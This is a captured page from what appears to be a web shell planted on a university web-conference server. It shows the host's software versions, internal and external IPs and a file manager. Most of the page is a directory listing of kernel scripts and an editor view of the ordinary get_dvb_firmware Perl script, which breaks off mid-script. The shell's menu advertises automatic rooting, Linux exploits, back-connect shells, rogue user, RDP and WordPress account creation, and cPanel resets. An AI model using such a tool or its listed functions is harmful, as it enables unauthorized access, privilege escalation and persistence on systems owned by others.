Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.118.198.191
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.4.0-186 /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
atomic
[ DIR ]
drwxr-xr-x
basic
[ DIR ]
drwxr-xr-x
coccinelle
[ DIR ]
drwxr-xr-x
dtc
[ DIR ]
drwxr-xr-x
gcc-plugins
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
genksyms
[ DIR ]
drwxr-xr-x
kconfig
[ DIR ]
drwxr-xr-x
ksymoops
[ DIR ]
drwxr-xr-x
mod
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
tracing
[ DIR ]
drwxr-xr-x
.gitignore
145
B
-rw-r--r--
Kbuild.include
13.08
KB
-rw-r--r--
Kconfig.include
1.64
KB
-rw-r--r--
Lindent
502
B
-rwxr-xr-x
Makefile
1.75
KB
-rw-r--r--
Makefile.asm-generic
1.8
KB
-rw-r--r--
Makefile.build
17.78
KB
-rw-r--r--
Makefile.clean
2.15
KB
-rw-r--r--
Makefile.dtbinst
1.09
KB
-rw-r--r--
Makefile.extrawarn
2.81
KB
-rw-r--r--
Makefile.gcc-plugins
2.61
KB
-rw-r--r--
Makefile.headersinst
2.87
KB
-rw-r--r--
Makefile.host
6.86
KB
-rw-r--r--
Makefile.kasan
1.44
KB
-rw-r--r--
Makefile.kcov
359
B
-rw-r--r--
Makefile.lib
14.67
KB
-rw-r--r--
Makefile.modbuiltin
1.67
KB
-rw-r--r--
Makefile.modfinal
1.79
KB
-rw-r--r--
Makefile.modinst
1.31
KB
-rw-r--r--
Makefile.modpost
3.37
KB
-rw-r--r--
Makefile.modsign
791
B
-rw-r--r--
Makefile.package
6.5
KB
-rw-r--r--
Makefile.ubsan
864
B
-rw-r--r--
adjust_autoksyms.sh
2.62
KB
-rwxr-xr-x
asn1_compiler.c
35.33
KB
-rw-r--r--
bin2c.c
743
B
-rw-r--r--
bloat-o-meter
3.29
KB
-rwxr-xr-x
bootgraph.pl
5.64
KB
-rwxr-xr-x
bpf_helpers_doc.py
20.12
KB
-rwxr-xr-x
cc-can-link.sh
166
B
-rwxr-xr-x
check_extable.sh
4.93
KB
-rwxr-xr-x
checkincludes.pl
1.94
KB
-rwxr-xr-x
checkkconfigsymbols.py
15.5
KB
-rwxr-xr-x
checkpatch.pl
199.44
KB
-rwxr-xr-x
checkstack.pl
5.27
KB
-rwxr-xr-x
checksyscalls.sh
7.27
KB
-rwxr-xr-x
checkversion.pl
1.9
KB
-rwxr-xr-x
clang-version.sh
527
B
-rwxr-xr-x
cleanfile
3.46
KB
-rwxr-xr-x
cleanpatch
5.06
KB
-rwxr-xr-x
coccicheck
7.25
KB
-rwxr-xr-x
config
4.64
KB
-rwxr-xr-x
conmakehash.c
5.85
KB
-rw-r--r--
const_structs.checkpatch
964
B
-rw-r--r--
decode_stacktrace.sh
3.95
KB
-rwxr-xr-x
decodecode
2.57
KB
-rwxr-xr-x
depmod.sh
1.41
KB
-rwxr-xr-x
diffconfig
3.72
KB
-rwxr-xr-x
documentation-file-ref-check
5.43
KB
-rwxr-xr-x
export_report.pl
4.5
KB
-rwxr-xr-x
extract-cert.c
3.63
KB
-rw-r--r--
extract-ikconfig
1.69
KB
-rwxr-xr-x
extract-module-sig.pl
3.66
KB
-rwxr-xr-x
extract-sys-certs.pl
3.75
KB
-rwxr-xr-x
extract-vmlinux
1.66
KB
-rwxr-xr-x
extract_xc3028.pl
44.62
KB
-rwxr-xr-x
faddr2line
8.17
KB
-rwxr-xr-x
file-size.sh
86
B
-rwxr-xr-x
find-unused-docs.sh
1.27
KB
-rwxr-xr-x
gcc-goto.sh
511
B
-rwxr-xr-x
gcc-ld
711
B
-rwxr-xr-x
gcc-plugin.sh
1.06
KB
-rwxr-xr-x
gcc-version.sh
588
B
-rwxr-xr-x
gcc-x86_32-has-stack-protector...
173
B
-rwxr-xr-x
gcc-x86_64-has-stack-protector...
198
B
-rwxr-xr-x
gen_compile_commands.py
5.56
KB
-rwxr-xr-x
gen_ksymdeps.sh
610
B
-rwxr-xr-x
get_abi.pl
10.1
KB
-rwxr-xr-x
get_dvb_firmware
24.54
KB
-rwxr-xr-x
get_maintainer.pl
66.04
KB
-rwxr-xr-x
gfp-translate
1.69
KB
-rwxr-xr-x
headerdep.pl
3.5
KB
-rwxr-xr-x
headers_check.pl
3.73
KB
-rwxr-xr-x
headers_install.sh
3.59
KB
-rwxr-xr-x
insert-sys-cert.c
13.08
KB
-rw-r--r--
kallsyms.c
18.02
KB
-rw-r--r--
kernel-doc
60.88
KB
-rwxr-xr-x
kmsg-doc
12.13
KB
-rwxr-xr-x
ld-version.sh
269
B
-rwxr-xr-x
leaking_addresses.pl
12.8
KB
-rwxr-xr-x
link-vmlinux.sh
8.14
KB
-rwxr-xr-x
makelst
808
B
-rwxr-xr-x
markup_oops.pl
7.92
KB
-rwxr-xr-x
mkcompile_h
2.83
KB
-rwxr-xr-x
mkmakefile
426
B
-rwxr-xr-x
mksysmap
1.34
KB
-rwxr-xr-x
mkuboot.sh
414
B
-rwxr-xr-x
module-common.lds
901
B
-rw-r--r--
modules-check.sh
303
B
-rwxr-xr-x
namespace.pl
13.18
KB
-rwxr-xr-x
nsdeps
1.95
KB
-rw-r--r--
objdiff
2.84
KB
-rwxr-xr-x
parse-maintainers.pl
3.72
KB
-rwxr-xr-x
patch-kernel
9.95
KB
-rwxr-xr-x
pnmtologo.c
11.91
KB
-rw-r--r--
profile2linkerlist.pl
414
B
-rwxr-xr-x
prune-kernel
708
B
-rwxr-xr-x
recordmcount.c
16.75
KB
-rw-r--r--
recordmcount.h
19.37
KB
-rw-r--r--
recordmcount.pl
18.91
KB
-rwxr-xr-x
setlocalversion
4.72
KB
-rwxr-xr-x
show_delta
3.01
KB
-rwxr-xr-x
sign-file.c
9.93
KB
-rw-r--r--
sortextable.c
8.32
KB
-rw-r--r--
sortextable.h
5.45
KB
-rw-r--r--
spdxcheck-test.sh
323
B
-rw-r--r--
spdxcheck.py
9.92
KB
-rwxr-xr-x
spelling.txt
28.76
KB
-rw-r--r--
sphinx-pre-install
17.59
KB
-rwxr-xr-x
split-man.pl
604
B
-rwxr-xr-x
stackdelta
1.84
KB
-rwxr-xr-x
stackusage
794
B
-rwxr-xr-x
subarch.include
641
B
-rw-r--r--
tags.sh
9.56
KB
-rwxr-xr-x
tools-support-relr.sh
546
B
-rwxr-xr-x
ubuntu-retpoline-extract-one
7.26
KB
-rw-r--r--
unifdef.c
34.8
KB
-rw-r--r--
ver_linux
2.69
KB
-rwxr-xr-x
xen-hypercalls.sh
386
B
-rw-r--r--
xz_wrap.sh
563
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : get_dvb_firmware
#!/usr/bin/env perl # SPDX-License-Identifier: GPL-2.0-or-later # DVB firmware extractor # # (c) 2004 Andrew de Quincey # use File::Temp qw/ tempdir /; use IO::Handle; @components = ( "sp8870", "sp887x", "tda10045", "tda10046", "tda10046lifeview", "av7110", "dec2000t", "dec2540t", "dec3000s", "vp7041", "vp7049", "dibusb", "nxt2002", "nxt2004", "or51211", "or51132_qam", "or51132_vsb", "bluebird", "opera1", "cx231xx", "cx18", "cx23885", "pvrusb2", "mpc718", "af9015", "ngene", "az6027", "lme2510_lg", "lme2510c_s7395", "lme2510c_s7395_old", "drxk", "drxk_terratec_h5", "drxk_hauppauge_hvr930c", "tda10071", "it9135", "drxk_pctv", "drxk_terratec_htc_stick", "sms1xxx_hcw", "si2165"); # Check args syntax() if (scalar(@ARGV) != 1); $cid = $ARGV[0]; # Do it! for ($i=0; $i < scalar(@components); $i++) { if ($cid eq $components[$i]) { $outfile = eval($cid); die $@ if $@; print STDERR <<EOF; Firmware(s) $outfile extracted successfully. Now copy it(them) to either /usr/lib/hotplug/firmware or /lib/firmware (depending on configuration of firmware hotplug). EOF exit(0); } } # If we get here, it wasn't found print STDERR "Unknown component \"$cid\"\n"; syntax(); # --------------------------------------------------------------- # Firmware-specific extraction subroutines sub sp8870 { my $sourcefile = "tt_Premium_217g.zip"; my $url = "http://www.softwarepatch.pl/9999ccd06a4813cb827dbb0005071c71/$sourcefile"; my $hash = "53970ec17a538945a6d8cb608a7b3899"; my $outfile = "dvb-fe-sp8870.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/software/OEM/HE/App/boot/SC_MAIN.MC", $hash); copy("$tmpdir/software/OEM/HE/App/boot/SC_MAIN.MC", $outfile); $outfile; } sub sp887x { my $sourcefile = "Dvbt1.3.57.6.zip"; my $url = "http://www.avermedia.com/software/$sourcefile"; my $cabfile = "DVBT Net Ver1.3.57.6/disk1/data1.cab"; my $hash = "237938d53a7f834c05c42b894ca68ac3"; my $outfile = "dvb-fe-sp887x.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); checkunshield(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); unshield("$tmpdir/$cabfile", $tmpdir); verify("$tmpdir/ZEnglish/sc_main.mc", $hash); copy("$tmpdir/ZEnglish/sc_main.mc", $outfile); $outfile; } sub tda10045 { my $sourcefile = "tt_budget_217g.zip"; my $url = "http://www.technotrend.de/new/217g/$sourcefile"; my $hash = "2105fd5bf37842fbcdfa4bfd58f3594a"; my $outfile = "dvb-fe-tda10045.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); extract("$tmpdir/software/OEM/PCI/App/ttlcdacc.dll", 0x37ef9, 30555, "$tmpdir/fwtmp"); verify("$tmpdir/fwtmp", $hash); copy("$tmpdir/fwtmp", $outfile); $outfile; } sub tda10046 { my $sourcefile = "TT_PCI_2.19h_28_11_2006.zip"; my $url = "http://technotrend.com.ua/download/software/219/$sourcefile"; my $hash = "6a7e1e2f2644b162ff0502367553c72d"; my $outfile = "dvb-fe-tda10046.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); extract("$tmpdir/TT_PCI_2.19h_28_11_2006/software/OEM/PCI/App/ttlcdacc.dll", 0x65389, 24478, "$tmpdir/fwtmp"); verify("$tmpdir/fwtmp", $hash); copy("$tmpdir/fwtmp", $outfile); $outfile; } sub tda10046lifeview { my $sourcefile = "7%5Cdrv_2.11.02.zip"; my $url = "http://www.lifeview.hk/dbimages/document/$sourcefile"; my $hash = "1ea24dee4eea8fe971686981f34fd2e0"; my $outfile = "dvb-fe-tda10046.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); extract("$tmpdir/LVHybrid.sys", 0x8b088, 24602, "$tmpdir/fwtmp"); verify("$tmpdir/fwtmp", $hash); copy("$tmpdir/fwtmp", $outfile); $outfile; } sub av7110 { my $sourcefile = "dvb-ttpci-01.fw-261d"; my $url = "https://linuxtv.org/downloads/firmware/$sourcefile"; my $hash = "603431b6259715a8e88f376a53b64e2f"; my $outfile = "dvb-ttpci-01.fw"; checkstandard(); wgetfile($sourcefile, $url); verify($sourcefile, $hash); copy($sourcefile, $outfile); $outfile; } sub dec2000t { my $sourcefile = "dec217g.exe"; my $url = "http://hauppauge.lightpath.net/de/$sourcefile"; my $hash = "bd86f458cee4a8f0a8ce2d20c66215a9"; my $outfile = "dvb-ttusb-dec-2000t.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/software/OEM/STB/App/Boot/STB_PC_T.bin", $hash); copy("$tmpdir/software/OEM/STB/App/Boot/STB_PC_T.bin", $outfile); $outfile; } sub dec2540t { my $sourcefile = "dec217g.exe"; my $url = "http://hauppauge.lightpath.net/de/$sourcefile"; my $hash = "53e58f4f5b5c2930beee74a7681fed92"; my $outfile = "dvb-ttusb-dec-2540t.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/software/OEM/STB/App/Boot/STB_PC_X.bin", $hash); copy("$tmpdir/software/OEM/STB/App/Boot/STB_PC_X.bin", $outfile); $outfile; } sub dec3000s { my $sourcefile = "dec217g.exe"; my $url = "http://hauppauge.lightpath.net/de/$sourcefile"; my $hash = "b013ececea83f4d6d8d2a29ac7c1b448"; my $outfile = "dvb-ttusb-dec-3000s.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/software/OEM/STB/App/Boot/STB_PC_S.bin", $hash); copy("$tmpdir/software/OEM/STB/App/Boot/STB_PC_S.bin", $outfile); $outfile; } sub opera1{ my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 0); checkstandard(); my $fwfile1="dvb-usb-opera1-fpga-01.fw"; my $fwfile2="dvb-usb-opera-01.fw"; extract("2830SCap2.sys", 0x62e8, 55024, "$tmpdir/opera1-fpga.fw"); extract("2830SLoad2.sys",0x3178,0x3685-0x3178,"$tmpdir/fw1part1"); extract("2830SLoad2.sys",0x0980,0x3150-0x0980,"$tmpdir/fw1part2"); delzero("$tmpdir/fw1part1","$tmpdir/fw1part1-1"); delzero("$tmpdir/fw1part2","$tmpdir/fw1part2-1"); verify("$tmpdir/fw1part1-1","5e0909858fdf0b5b09ad48b9fe622e70"); verify("$tmpdir/fw1part2-1","d6e146f321427e931df2c6fcadac37a1"); verify("$tmpdir/opera1-fpga.fw","0f8133f5e9051f5f3c1928f7e5a1b07d"); my $RES1="\x01\x92\x7f\x00\x01\x00"; my $RES0="\x01\x92\x7f\x00\x00\x00"; my $DAT1="\x01\x00\xe6\x00\x01\x00"; my $DAT0="\x01\x00\xe6\x00\x00\x00"; open FW,">$tmpdir/opera.fw"; print FW "$RES1"; print FW "$DAT1"; print FW "$RES1"; print FW "$DAT1"; appendfile(FW,"$tmpdir/fw1part1-1"); print FW "$RES0"; print FW "$DAT0"; print FW "$RES1"; print FW "$DAT1"; appendfile(FW,"$tmpdir/fw1part2-1"); print FW "$RES1"; print FW "$DAT1"; print FW "$RES0"; print FW "$DAT0"; copy ("$tmpdir/opera1-fpga.fw",$fwfile1); copy ("$tmpdir/opera.fw",$fwfile2); $fwfile1.",".$fwfile2; } sub vp7041 { my $sourcefile = "2.422.zip"; my $url = "http://www.twinhan.com/files/driver/USB-Ter/$sourcefile"; my $hash = "e88c9372d1f66609a3e7b072c53fbcfe"; my $outfile = "dvb-vp7041-2.422.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); extract("$tmpdir/VisionDTV/Drivers/Win2K&XP/UDTTload.sys", 12503, 3036, "$tmpdir/fwtmp1"); extract("$tmpdir/VisionDTV/Drivers/Win2K&XP/UDTTload.sys", 2207, 10274, "$tmpdir/fwtmp2"); my $CMD = "\000\001\000\222\177\000"; my $PAD = "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"; my ($FW); open $FW, ">$tmpdir/fwtmp3"; print $FW "$CMD\001$PAD"; print $FW "$CMD\001$PAD"; appendfile($FW, "$tmpdir/fwtmp1"); print $FW "$CMD\000$PAD"; print $FW "$CMD\001$PAD"; appendfile($FW, "$tmpdir/fwtmp2"); print $FW "$CMD\001$PAD"; print $FW "$CMD\000$PAD"; close($FW); verify("$tmpdir/fwtmp3", $hash); copy("$tmpdir/fwtmp3", $outfile); $outfile; } sub vp7049 { my $fwfile = "dvb-usb-vp7049-0.95.fw"; my $url = "http://ao2.it/sites/default/files/blog/2012/11/06/linux-support-digicom-digitune-s-vp7049-udtt7049/$fwfile"; my $hash = "5609fd295168aea88b25ff43a6f79c36"; checkstandard(); wgetfile($fwfile, $url); verify($fwfile, $hash); $fwfile; } sub dibusb { my $url = "https://linuxtv.org/downloads/firmware/dvb-usb-dibusb-5.0.0.11.fw"; my $outfile = "dvb-dibusb-5.0.0.11.fw"; my $hash = "fa490295a527360ca16dcdf3224ca243"; checkstandard(); wgetfile($outfile, $url); verify($outfile,$hash); $outfile; } sub nxt2002 { my $sourcefile = "Technisat_DVB-PC_4_4_COMPACT.zip"; my $url = "http://www.bbti.us/download/windows/$sourcefile"; my $hash = "476befae8c7c1bb9648954060b1eec1f"; my $outfile = "dvb-fe-nxt2002.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/SkyNET.sys", $hash); extract("$tmpdir/SkyNET.sys", 331624, 5908, $outfile); $outfile; } sub nxt2004 { my $sourcefile = "AVerTVHD_MCE_A180_Drv_v1.2.2.16.zip"; my $url = "http://www.avermedia-usa.com/support/Drivers/$sourcefile"; my $hash = "111cb885b1e009188346d72acfed024c"; my $outfile = "dvb-fe-nxt2004.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/3xHybrid.sys", $hash); extract("$tmpdir/3xHybrid.sys", 465304, 9584, $outfile); $outfile; } sub or51211 { my $fwfile = "dvb-fe-or51211.fw"; my $url = "https://linuxtv.org/downloads/firmware/$fwfile"; my $hash = "d830949c771a289505bf9eafc225d491"; checkstandard(); wgetfile($fwfile, $url); verify($fwfile, $hash); $fwfile; } sub cx231xx { my $fwfile = "v4l-cx231xx-avcore-01.fw"; my $url = "https://linuxtv.org/downloads/firmware/$fwfile"; my $hash = "7d3bb956dc9df0eafded2b56ba57cc42"; checkstandard(); wgetfile($fwfile, $url); verify($fwfile, $hash); $fwfile; } sub cx18 { my $url = "https://linuxtv.org/downloads/firmware/"; my %files = ( 'v4l-cx23418-apu.fw' => '588f081b562f5c653a3db1ad8f65939a', 'v4l-cx23418-cpu.fw' => 'b6c7ed64bc44b1a6e0840adaeac39d79', 'v4l-cx23418-dig.fw' => '95bc688d3e7599fd5800161e9971cc55', ); checkstandard(); my $allfiles; foreach my $fwfile (keys %files) { wgetfile($fwfile, "$url/$fwfile"); verify($fwfile, $files{$fwfile}); $allfiles .= " $fwfile"; } $allfiles =~ s/^\s//; $allfiles; } sub mpc718 { my $archive = 'Yuan MPC718 TV Tuner Card 2.13.10.1016.zip'; my $url = "ftp://ftp.work.acer-euro.com/desktop/aspire_idea510/vista/Drivers/$archive"; my $fwfile = "dvb-cx18-mpc718-mt352.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($archive, $url); unzip($archive, $tmpdir); my $sourcefile = "$tmpdir/Yuan MPC718 TV Tuner Card 2.13.10.1016/mpc718_32bit/yuanrap.sys"; my $found = 0; open IN, '<', $sourcefile or die "Couldn't open $sourcefile to extract $fwfile data\n"; binmode IN; open OUT, '>', $fwfile; binmode OUT; { # Block scope because we change the line terminator variable $/ my $prevlen = 0; my $currlen; # Buried in the data segment are 3 runs of almost identical # register-value pairs that end in 0x5d 0x01 which is a "TUNER GO" # command for the MT352. # Pull out the middle run (because it's easy) of register-value # pairs to make the "firmware" file. local $/ = "\x5d\x01"; # MT352 "TUNER GO" while (<IN>) { $currlen = length($_); if ($prevlen == $currlen && $currlen <= 64) { chop; chop; # Get rid of "TUNER GO" s/^\0\0//; # get rid of leading 00 00 if it's there printf OUT "$_"; $found = 1; last; } $prevlen = $currlen; } } close OUT; close IN; if (!$found) { unlink $fwfile; die "Couldn't find valid register-value sequence in $sourcefile for $fwfile\n"; } $fwfile; } sub cx23885 { my $url = "https://linuxtv.org/downloads/firmware/"; my %files = ( 'v4l-cx23885-avcore-01.fw' => 'a9f8f5d901a7fb42f552e1ee6384f3bb', 'v4l-cx23885-enc.fw' => 'a9f8f5d901a7fb42f552e1ee6384f3bb', ); checkstandard(); my $allfiles; foreach my $fwfile (keys %files) { wgetfile($fwfile, "$url/$fwfile"); verify($fwfile, $files{$fwfile}); $allfiles .= " $fwfile"; } $allfiles =~ s/^\s//; $allfiles; } sub pvrusb2 { my $url = "https://linuxtv.org/downloads/firmware/"; my %files = ( 'v4l-cx25840.fw' => 'dadb79e9904fc8af96e8111d9cb59320', ); checkstandard(); my $allfiles; foreach my $fwfile (keys %files) { wgetfile($fwfile, "$url/$fwfile"); verify($fwfile, $files{$fwfile}); $allfiles .= " $fwfile"; } $allfiles =~ s/^\s//; $allfiles; } sub or51132_qam { my $fwfile = "dvb-fe-or51132-qam.fw"; my $url = "https://linuxtv.org/downloads/firmware/$fwfile"; my $hash = "7702e8938612de46ccadfe9b413cb3b5"; checkstandard(); wgetfile($fwfile, $url); verify($fwfile, $hash); $fwfile; } sub or51132_vsb { my $fwfile = "dvb-fe-or51132-vsb.fw"; my $url = "https://linuxtv.org/downloads/firmware/$fwfile"; my $hash = "c16208e02f36fc439a557ad4c613364a"; checkstandard(); wgetfile($fwfile, $url); verify($fwfile, $hash); $fwfile; } sub bluebird { my $url = "https://linuxtv.org/download/dvb/firmware/dvb-usb-bluebird-01.fw"; my $outfile = "dvb-usb-bluebird-01.fw"; my $hash = "658397cb9eba9101af9031302671f49d"; checkstandard(); wgetfile($outfile, $url); verify($outfile,$hash); $outfile; } sub af9015 { my $sourcefile = "download.ashx?file=57"; my $url = "http://www.ite.com.tw/EN/Services/$sourcefile"; my $hash = "e3f08935158038d385ad382442f4bb2d"; my $outfile = "dvb-usb-af9015.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); my $fwoffset = 0x25690; my $fwlength = 18725; my ($chunklength, $buf, $rcount); checkstandard(); wgetfile($sourcefile, $url); unzip($sourcefile, $tmpdir); verify("$tmpdir/Driver/Files/AF15BDA.sys", $hash); open INFILE, '<', "$tmpdir/Driver/Files/AF15BDA.sys"; open OUTFILE, '>', $outfile; sysseek(INFILE, $fwoffset, SEEK_SET); while($fwlength > 0) { $chunklength = 55; $chunklength = $fwlength if ($chunklength > $fwlength); $rcount = sysread(INFILE, $buf, $chunklength); die "Ran out of data\n" if ($rcount != $chunklength); syswrite(OUTFILE, $buf); sysread(INFILE, $buf, 8); $fwlength -= $rcount + 8; } close OUTFILE; close INFILE; } sub ngene { my $url = "http://www.digitaldevices.de/download/"; my $file1 = "ngene_15.fw"; my $hash1 = "d798d5a757121174f0dbc5f2833c0c85"; my $file2 = "ngene_17.fw"; my $hash2 = "26b687136e127b8ac24b81e0eeafc20b"; my $url2 = "http://l4m-daten.de/downloads/firmware/dvb-s2/linux/all/"; my $file3 = "ngene_18.fw"; my $hash3 = "ebce3ea769a53e3e0b0197c3b3f127e3"; checkstandard(); wgetfile($file1, $url . $file1); verify($file1, $hash1); wgetfile($file2, $url . $file2); verify($file2, $hash2); wgetfile($file3, $url2 . $file3); verify($file3, $hash3); "$file1, $file2, $file3"; } sub az6027{ my $firmware = "dvb-usb-az6027-03.fw"; my $url = "http://linux.terratec.de/files/TERRATEC_S7/$firmware"; wgetfile($firmware, $url); $firmware; } sub lme2510_lg { my $sourcefile = "LMEBDA_DVBS.sys"; my $hash = "fc6017ad01e79890a97ec53bea157ed2"; my $outfile = "dvb-usb-lme2510-lg.fw"; my $hasho = "caa065d5fdbd2c09ad57b399bbf55cad"; checkstandard(); verify($sourcefile, $hash); extract($sourcefile, 4168, 3841, $outfile); verify($outfile, $hasho); $outfile; } sub lme2510c_s7395 { my $sourcefile = "US2A0D.sys"; my $hash = "b0155a8083fb822a3bd47bc360e74601"; my $outfile = "dvb-usb-lme2510c-s7395.fw"; my $hasho = "3a3cf1aeebd17b6ddc04cebe131e94cf"; checkstandard(); verify($sourcefile, $hash); extract($sourcefile, 37248, 3720, $outfile); verify($outfile, $hasho); $outfile; } sub lme2510c_s7395_old { my $sourcefile = "LMEBDA_DVBS7395C.sys"; my $hash = "7572ae0eb9cdf91baabd7c0ba9e09b31"; my $outfile = "dvb-usb-lme2510c-s7395.fw"; my $hasho = "90430c5b435eb5c6f88fd44a9d950674"; checkstandard(); verify($sourcefile, $hash); extract($sourcefile, 4208, 3881, $outfile); verify($outfile, $hasho); $outfile; } sub drxk { my $url = "http://l4m-daten.de/files/"; my $zipfile = "DDTuner.zip"; my $hash = "f5a37b9a20a3534997997c0b1382a3e5"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); my $drvfile = "DDTuner.sys"; my $fwfile = "drxk_a3.mc"; checkstandard(); wgetfile($zipfile, $url . $zipfile); verify($zipfile, $hash); unzip($zipfile, $tmpdir); extract("$tmpdir/$drvfile", 0x14dd8, 15634, "$fwfile"); "$fwfile" } sub drxk_hauppauge_hvr930c { my $url = "http://www.wintvcd.co.uk/drivers/"; my $zipfile = "HVR-9x0_5_10_325_28153_SIGNED.zip"; my $hash = "83ab82e7e9480ec8bf1ae0155ca63c88"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); my $drvfile = "HVR-900/emOEM.sys"; my $fwfile = "dvb-usb-hauppauge-hvr930c-drxk.fw"; checkstandard(); wgetfile($zipfile, $url . $zipfile); verify($zipfile, $hash); unzip($zipfile, $tmpdir); extract("$tmpdir/$drvfile", 0x117b0, 42692, "$fwfile"); "$fwfile" } sub drxk_terratec_h5 { my $url = "https://linuxtv.org/downloads/firmware/"; my $hash = "19000dada8e2741162ccc50cc91fa7f1"; my $fwfile = "dvb-usb-terratec-h5-drxk.fw"; checkstandard(); wgetfile($fwfile, $url . $fwfile); verify($fwfile, $hash); "$fwfile" } sub drxk_terratec_htc_stick { my $url = "http://ftp.terratec.de/Receiver/Cinergy_HTC_Stick/Updates/History/"; my $zipfile = "Cinergy_HTC_Stick_Drv_5.09.1202.00_XP_Vista_7.exe"; my $hash = "6722a2442a05423b781721fbc069ed5e"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 0); my $drvfile = "Cinergy HTC Stick/BDA Driver 5.09.1202.00/Windows 32 Bit/emOEM.sys"; my $fwfile = "dvb-usb-terratec-htc-stick-drxk.fw"; checkstandard(); wgetfile($zipfile, $url . $zipfile); verify($zipfile, $hash); unzip($zipfile, $tmpdir); extract("$tmpdir/$drvfile", 0x4e5c0, 42692, "$fwfile"); "$fwfile" } sub it9135 { my $url = "http://www.ite.com.tw/uploads/firmware/v3.25.0.0/"; my $file1 = "dvb-usb-it9135-01.zip"; my $fwfile1 = "dvb-usb-it9135-01.fw"; my $hash1 = "02fcf11174eda84745dae7e61c5ff9ba"; my $file2 = "dvb-usb-it9135-02.zip"; my $fwfile2 = "dvb-usb-it9135-02.fw"; my $hash2 = "d5e1437dc24358578e07999475d4cac9"; checkstandard(); wgetfile($file1, $url . $file1); unzip($file1, ""); verify("$fwfile1", $hash1); wgetfile($file2, $url . $file2); unzip($file2, ""); verify("$fwfile2", $hash2); "$file1 $file2" } sub tda10071 { my $sourcefile = "PCTV_460e_reference.zip"; my $url = "ftp://ftp.pctvsystems.com/TV/driver/PCTV%2070e%2080e%20100e%20320e%20330e%20800e/"; my $hash = "4403de903bf2593464c8d74bbc200a57"; my $fwfile = "dvb-fe-tda10071.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url . $sourcefile); verify($sourcefile, $hash); unzip($sourcefile, $tmpdir); extract("$tmpdir/PCTV\ 70e\ 80e\ 100e\ 320e\ 330e\ 800e/32\ bit/emOEM.sys", 0x67d38, 40504, $fwfile); "$fwfile"; } sub drxk_pctv { my $sourcefile = "PCTV_460e_reference.zip"; my $url = "ftp://ftp.pctvsystems.com/TV/driver/PCTV%2070e%2080e%20100e%20320e%20330e%20800e/"; my $hash = "4403de903bf2593464c8d74bbc200a57"; my $fwfile = "dvb-demod-drxk-pctv.fw"; my $tmpdir = tempdir(DIR => "/tmp", CLEANUP => 1); checkstandard(); wgetfile($sourcefile, $url . $sourcefile); verify($sourcefile, $hash); unzip($sourcefile, $tmpdir); extract("$tmpdir/PCTV\ 70e\ 80e\ 100e\ 320e\ 330e\ 800e/32\ bit/emOEM.sys", 0x72b80, 42692, $fwfile); "$fwfile"; } sub sms1xxx_hcw { my $url = "http://steventoth.net/linux/sms1xxx/"; my %files = ( 'sms1xxx-hcw-55xxx-dvbt-01.fw' => "afb6f9fb9a71d64392e8564ef9577e5a", 'sms1xxx-hcw-55xxx-dvbt-02.fw' => "b44807098ba26e52cbedeadc052ba58f", 'sms1xxx-hcw-55xxx-isdbt-02.fw' => "dae934eeea85225acbd63ce6cfe1c9e4", ); checkstandard(); my $allfiles; foreach my $fwfile (keys %files) { wgetfile($fwfile, "$url/$fwfile"); verify($fwfile, $files{$fwfile}); $allfiles .= " $fwfile"; } $allfiles =~ s/^\s//; $allfiles; } sub si2165 { my $sourcefile = "model_111xxx_122xxx_driver_6_0_119_31191_WHQL.zip"; my $url = "http://www.hauppauge.de/files/drivers/"; my $hash = "76633e7c76b0edee47c3ba18ded99336"; my $fwfile = 